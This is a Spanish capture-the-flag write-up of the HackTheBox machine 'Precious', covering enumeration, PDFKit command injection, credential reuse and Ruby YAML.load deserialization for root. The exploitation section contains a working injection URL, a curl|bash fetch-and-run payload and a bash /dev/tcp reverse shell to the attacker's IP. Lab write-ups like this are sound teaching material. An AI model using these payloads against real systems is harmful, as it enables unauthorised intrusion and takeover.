HackTheBox - Precious
Creado
Máquina Linux nivel fácil. PDFKit
nos gestionará un RCE, tendremos credenciales voladoras y una siempre bienvenida deserialización insegura con YAML.load()
.
TL;DR (Spanish writeup)
Creada por: Nauten.
Pura realidad mae.
Empezamos con una página web que genera PDF de otras webs simplemente pasándole su URL, generando el PDF y viendo sus metadatos encontramos el gestor del archivo, encaminados con esta idea tendremos una ejecución remota de comandos (RCE
) en el software PDFKit
, con esto obtendremos una terminal en el sistema como el usuario ruby
.
En el sistema veremos unas credenciales que nos teletransportarán al usuario henry
.
Como henry tendremos el permiso de ejecutar un script hecho en ruby como el usuario root, el script está usando la función YAML.load()
(con un objeto que es invocado sin ruta absoluta) la cual es vulnerable a una deserialización insegura
, jugaremos con esta vuln para obtener una terminal en el sistema como el usuario root
.
…
Clasificación de la máquina según la gentesita
Con puras vulnerabilidades públicas, me gusta.
La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) 😄 La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo la oportunidad de ayudarlos ¿por qué no hacerlo?
Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3
…
Your love.
- Reconocimiento.
- Enumeración.
- Explotación.
- Credenciales bundlereando: ruby -> henry.
- Escalada de privilegios.
…
Reconocimiento #
Empezaremos descubriendo que puertos (servicios) están activos y expuestos con la máquina, para esto usaremos nmap
:
nmap -p- --open -v 10.10.11.189 -oG initScan
Parámetro | Descripción |
---|---|
-p- | Escanea todos los 65535 |
–open | Solo los puertos que están abiertos |
-v | Permite ver en consola lo que va encontrando |
-oG | Guarda el output en un archivo con formato grepeable para usar una función extractPorts de S4vitar que me extrae los puertos en la clipboard |
Esto nos devuelve dos servicios:
Puerto | Descripción |
---|---|
22 | SSH: Servidor de terminal remota de manera segura. |
80 | HTTP: Servidor web. |
+ ~ +(Usando la función extractPorts
(referenciada antes) podemos copiar rápidamente los puertos en la clipboard, en este caso no es necesario (ya que tenemos pocos puertos), pero si tuviéramos varios evitamos tener que escribirlos uno a uno
extractPorts initScan
[*] Extracting information...
[*] IP Address: 10.129.80.15
[*] Open ports: 22,80
[*] Ports copied to clipboard
)+ ~ +
Lo siguiente que podemos hacer con nmap
es descubrir: versión del software de cada servicio y posibles nuevas pistas o información con scripts internos de nmap:
nmap -p 22,80 -sCV 10.10.11.189 -oN portScan
Parámetro | Descripción |
---|---|
-p | Escaneo de los puertos obtenidos |
-sC | Muestra todos los scripts relacionados con el servicio |
-sV | Nos permite ver la versión del servicio |
-oN | Guarda el output en un archivo |
Y encontramos:
Puerto | Servicio | Versión |
---|---|---|
22 | SSH | OpenSSH 8.4p1 Debian 5+deb11u1 |
80 | HTTP | nginx/1.18.0 |
-
Y un texto interesante:
Did not follow redirect to http://precious.htb/
:Nos indica que está haciendo un redireccionamiento hacia el dominio
precious.htb
, la cosa es que nuestro sistema no entiende ese dominio a que responde o que significa, acá llega el uso del archivo /etc/hosts, le indicaremos que el contenido que tenga el dominio sea resuelto con respecto a la dirección IP del servidor, o sea: cat /etc/hosts 10.10.11.189 precious.htb
Y con esto ya el sistema entiende a que hace referencia ese dominio (y en lugar de obtener un error, ya deberíamos ver contenido al hacer una petición web).
Por ahora no tenemos mucho más, así que a juguetear…
Enumeración #
Revisando el puerto 80, obtenemos esta pantalla en la web:
El servidor permite convertir una página web en PDF, pues probemos de uuuuuna, creemos un archivo html
y montamos un servidor ahí a ver que pasa:
cat index.html
<html>
<head>
<title>Hola</title>
</head>
<body>
<h1>Buenos días, espero este muy bien.</h1>
</body>
</html>
Y levantamos el servidor que sea accesible tanto interna como externa (para los de la misma red) con ayuda de PHP:
php -S 0.0.0.0:8000
Listos, ahora intentemos generar el PDF:
Damos click en Submit, nos descarga el respectivo PDF y lo abre en la web (sin diferir a lo que ya vimos en la imagen de arriba), revisemos el archivo descargado…
file rfmp0k909u0ucgn1wjwfq4832wnvdstd.pdf
rfmp0k909u0ucgn1wjwfq4832wnvdstd.pdf: PDF document, version 1.4
Algo que se puede revisar son los metadatos, en ellos se encuentra información más detallada del objeto, como la hora de creación, fecha, a veces se guarda info personal del computador, el nombre de usuario y demás data posible, así que veamosla con ayuda de exiftool
:
Ojito, entra la metadata hay un campo que indica el gestor (y su versión) usado para crear el PDF, pdfkit v0.8.6
. Esto es interesante, ya que podemos buscar vulnerabilidades con esa versión y en caso tal llegar a explotar algo…
Explotación #
Buscando algo como pdfkit v0.8.6 vulnerabilities llegamos a este repo de CVEs reportados para distintas herramientas, en este caso pdfkit
tiene 2:
Hay una muuuuuy nueva, esa nos llama la atención por el tema de la URL principalmente:
- VulDB CVE.
- Y siguiendo los links llegamos a un PoC y varias explicaciones: security.snyk.io.
En el repo de pdfkit encontramos el issue y la solución:
Básicamente, la vulnerabilidad ocurre por no escapar caracteres en la URL:
- Si en un parámetro de la URL existe un carácter URLencodeado (por ejemplo
%20
que sería un espacio en blanco (hola%20si = hola si
)) yyyy una cadena que interpretaría bash como un comando a ejecutar:
# Ejemplo ejecutando el comando whoami en una cadena
hola `whoami`, como estas?
Entonces (si la URL contiene esos dos ítems), hará que la función PDFKit.new
(que es la que renderiza el PDF) además de ejecutar el comando para generar el PDF, ejecute el nuestro.
Según los PoC que vemos, podemos intentar algo tal que así:
Se le envia -----------> http://example.com/?name=#{'%20`sleep 5`'}
Y PDFKit renderiza: ---> http://example.com/?name=%20`sleep 5`
Por lo que *sleep 5* es ejecutado en el sistema.
Cambiando el payload por algo funcional (apoyados de nuestro servidor web pensaremos que la máquina tiene instalado curl
y haremos que nos envíe una petición, si llega, confirmamos RCE):
http://10.10.14.108:8000/index.html?estoespajugar=#{'%20`curl http://10.10.14.108:8000/asdfasdfasdfasdfasdfasd`'}
Le pasamos esa URL a la web, damos click en Submit y en nuestro servidooooor:
OBTENEMOS LA PETICIÓN PROVENIENTE DE LA IP 10.10.11.189 YYYYYY confirmamos ejecución remota de comandoooos!
Hagamos que el sistema remoto nos envíe una shell, creamos archivo con el contenido que queremos ejecutar:
cat hola.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.108/4433 0>&1
Con esto le indicamos que envíe una bash
(una terminal) al puerto 4433
de la dirección 10.10.14.108
.
Nos ponemos en escucha por el puerto 4433 (nc -lvp 4433
) y enviamos la siguiente URL:
http://10.10.14.108:8000/index.html?estoespajugar=#{'%20`curl http://10.10.14.108:8000/hola.sh|bash`'}
Despues me di cuenta que no era necesaria la parte inicial, ya que aún así se ejecutaba el RCE:
http://?=#{'%20`curl http://10.10.14.108:8000/hola.sh|bash`'}
Aquí simplemente hacemos que envíe la petición web donde está el archivo hola.sh
y lo ejecute (interprete).
Click en Submit yyyyyyyyyyyyyy en nuestro listener:
Obtenemos la terminal y estamos dentro del sistema (: (haremos la terminal bonita y totalmente funcional, ya que si ejecutamos CTRL+C la perderemos y demás no podremos movernos cómodamente en ella).
Nos creamos este script pequeñito para ejecutar comandos remotamente: rce_pdfKit.rb.
Credenciales volando: ruby -> henry #
Si nos fijamos somos el usuario ruby
. Recorriendo sus directorios vemos una carpeta con info sobre bundle (gestor de librerías para Ruby):
Contiene un objeto de configuración con lo que parecen ser unas credenciales, toma más sentido si nos damos cuenta que en el sistema el usuario henry
existe. Así que haciendo una reutilización de credenciales contra el sistema tenemoooos:
Pos somos henry (:
(Teniendo en cuenta que: existe SSH, está expuesto y tenemos usuario y contraseña válidos, generemos mejor una SSH 😊)
Escalada de privilegios #
Enumerando los permisos que tenemos en el sistema como otros usuarios encontramos:
Podemos ejecutar el archivo /opt/update_dependencies.rb
con el binario /usr/bin/ruby
como el usuario root
Y SIN NECESIdad de una contraseña (NOPASSWD
) 😮 Revisemos el script…
henry@precious:~$ cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
Básicamente, el programa busca el archivo dependencies.yml
en el sistema (SIN RUTA ABSOLUTA), por lo que buscaría el objeto en la ruta donde estemos (OJO). De él extrae el nombre de la gema (librería) y su versión, esto para compararla con las gemas actualmente instaladas (supongo que para saber cuando una librería debe ser actualizada).
En la línea del dependencies.yml hay otra cosa interesante y llamativa, el contenido del yml
se está “cargando” directamente en el sistema con la librería YAML y su función load()
, esto a primera vista no parece algo de cuidado, peeero con una simple búsqueda en internet (y con la experiencia) sabemos que se puso agresiva la cosa…
Busquedas como:
* YAML load vulnerability
* ruby yaml.load vulnerability
Nos llevan a un CVE guapetón:
Una deserialización insegura al usar la función load()
en lugar de safe_load()
de la librería YAML
. Recordemos que la deserialización en pocas palabras es pasar un objeto a bytes, o sea, pasarlo a algo que pueda ser transmitido en una comunicación o en el sistema. (La serialización es lo contrario, tomar esos bytes y armar el objeto). Lo que puede pasar es que “infectemos” los procesos de esa deserialización yyy logremos (como lo más critico) una ejecución remota de comandos en el sistema.
- Qué es Insecure Deserialization y cómo prevenirla.
- Una guía de pentester para la deserialización insegura.
Siguiendo con el CVE obtenemos varios recursos (y en ellos otros recursos) del cómo se genera y se explota la vuln:
- Universal RCE with Ruby YAML.load.
- Ruby 2.x Universal RCE Deserialization Gadget Chain.
- Universal RCE with Ruby YAML.load (versions > 2.7).
Los dos primeros explican la base del ataque y “por qué” YAML.load
no debe usarse. Son payloads que en su momento fueron muy utilizados peeero claramente el mundo avanza y se arreglan cosas.
Si nos fijamos el último link (creado el año 2021) tiene casi el mismo nombre que el primero (creado el año 2019), esto debido a que es un update a ese mismo artículo inicial con un nuevo payload:
Así que a emplearlo y agregar nuestro comando en git_set
a ver si es ejecutado…
Para mayor info sobre la vuln y el peligro de YAML.load leete la info, esta bien interesante.
…
Retomando: debemos explotar una deserialización insegura que se está generando en la línea YAML.load('dependencies.yml')
por un temita ya expuesto en los links de arriba.
En el sistema y concretamente en la ruta /opt/sample/
hay un objeto dependencies.yml
de ejemplo:
henry@precious:/tmp/test$ cat /opt/sample/dependencies.yml
yaml: 0.1.1
pdfkit: 0.8.6
Copiémoslo a nuestro entorno de trabajo y metámosle el payload que encontramos en el último link con el comando /bin/bash
, esto para en caso de que se ejecute el RCE no devuelva una terminal (bash):
Yyy si ejecutamos ahora el script llamando el permiso de root
:
ESTAMOS dentrooooo!! Veamos las flags:
…
Una máquina bien llevada, me gusto que está llena de CVEs (o sea no plagada, pero todo lo que se explota es público :P). Me gustó el tema del PDF, re loco que con una sola línea ya estemos dentro del sistema, muuy loco.
Por ahora no es más, espero les haya servido y gustado, nos estamos charlando y como siempre, a ROMPER de TODOOOOO! Besitos :3
Comments